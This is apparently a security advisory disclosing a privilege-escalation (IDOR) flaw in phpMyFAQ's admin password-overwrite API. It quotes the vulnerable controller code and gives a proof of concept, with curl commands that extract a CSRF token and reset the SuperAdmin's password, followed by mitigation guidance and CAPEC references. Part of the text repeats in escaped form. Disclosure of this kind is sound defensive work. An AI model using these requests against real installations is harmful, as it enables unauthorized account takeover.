Vulnerability from github – Published: 2026-05-20 15:46 – Updated: 2026-05-28 14:19Summary
An Insecure Direct Object Reference (IDOR) vulnerability in phpMyFAQ's Admin API allows any authenticated administrator to change the password of any user account, including SuperAdmin accounts (userId=1), without authorization verification. An attacker with a low-privilege admin account can escalate privileges to full SuperAdmin control by simply changing the target user's ID in the API request body.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php Lines: 232-271 The overwritePassword() method at line 232 accepts PUT requests to /admin/api/user/overwrite-password:
[Route(path: 'user/overwrite-password', name: 'admin.api.user.overwrite-password', methods: ['PUT'])]
public function overwritePassword(Request $request): JsonResponse
{
$this->userHasUserPermission(); // Only checks if user has USER_EDIT permission
$currentUser = CurrentUser::getCurrentUser($this->configuration);
$data = json_decode($request->getContent());
$userId = Filter::filterVar($data->userId, FILTER_VALIDATE_INT); // User-controlled!
$csrfToken = Filter::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS);
$newPassword = Filter::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS);
$retypedPassword = Filter::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS);
if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) {
return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED);
}
// NO check that $userId belongs to a user the admin should manage
// NO check that target user has lower or equal privileges
// Can overwrite password for ANY user, including SuperAdmin (userId=1)
$currentUser->getUserById((int) $userId, allowBlockedUsers: true);
$authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType'));
if (hash_equals($newPassword, $retypedPassword)) {
if (!$currentUser->changePassword($newPassword)) {
return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST);
}
$this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId);
return $this->json(['success' => ...], Response::HTTP_OK);
}
}
Root Causes:
- No verification that the requesting admin has permission to modify the target user's password
- No check that the target user has equal or lower privilege level
- The userId is taken directly from the request body without authorization context
- No multi-factor confirmation for privilege-escalating password changes
PoC
Prerequisites: Authenticated admin session with USER_EDIT permission
Step 1 - Obtain Admin Session: Log in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).
Step 2 - Extract CSRF Token: CSRF token is embedded in admin pages:
curl -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
Step 3 - Change SuperAdmin Password:
curl -X PUT -H "Content-Type: application/json" \
-b "PHPSESSID=admin_session" \
-d '{
"userId": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}' \
http://target/admin/api/user/overwrite-password
Response: {"success":"The password was successfully changed."}
Step 4 - Account Takeover: Attacker now has SuperAdmin credentials and full control of phpMyFAQ.
Who is Impacted:
- Organizations with multiple admin users where not all should have SuperAdmin access
- Any phpMyFAQ instance where privilege separation is configured
- Multi-tenant environments where users should only manage their own accounts
Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission
Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions

No verification that the requesting admin has permission to modify the target user\u0027s password\n2. No check that the target user has equal or lower privilege level\n3. The userId is taken directly from the request body without authorization context\n4. No multi-factor confirmation for privilege-escalating password changes\n\n\n### PoC\n\nPrerequisites: Authenticated admin session with USER_EDIT permission\n\nStep 1 - Obtain Admin Session:\nLog in as a low-privilege admin user (or exploit CVE-2026-XXXX-1 to take over any user first).\n\nStep 2 - Extract CSRF Token:\nCSRF token is embedded in admin pages:\n```bash\ncurl -sL -b \"PHPSESSID=admin_session\" http://target/admin/index.php | grep -oP \u0027pmf-csrf-token.*?value=\"\\K[^\"]+\u0027\n```\n\nStep 3 - Change SuperAdmin Password:\n```bash\ncurl -X PUT -H \"Content-Type: application/json\" \\\n -b \"PHPSESSID=admin_session\" \\\n -d \u0027{\n \"userId\": 1,\n \"csrf\": \"admin_csrf_token_value\",\n \"newPassword\": \"NewSuperAdminP@ss123!\",\n \"passwordRepeat\": \"NewSuperAdminP@ss123!\"\n }\u0027 \\\n http://target/admin/api/user/overwrite-password\n```\n\nResponse: {\"success\":\"The password was successfully changed.\"}\n\nStep 4 - Account Takeover:\nAttacker now has SuperAdmin credentials and full control of phpMyFAQ.\n\n### Who is Impacted:\n- Organizations with multiple admin users where not all should have SuperAdmin access\n- Any phpMyFAQ instance where privilege separation is configured\n- Multi-tenant environments where users should only manage their own accounts\n\n#### Attack Complexity: Low - only requires a valid admin session with USER_EDIT permission\n#### Privilege Escalation: Any admin user can become SuperAdmin regardless of their assigned permissions",

Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.
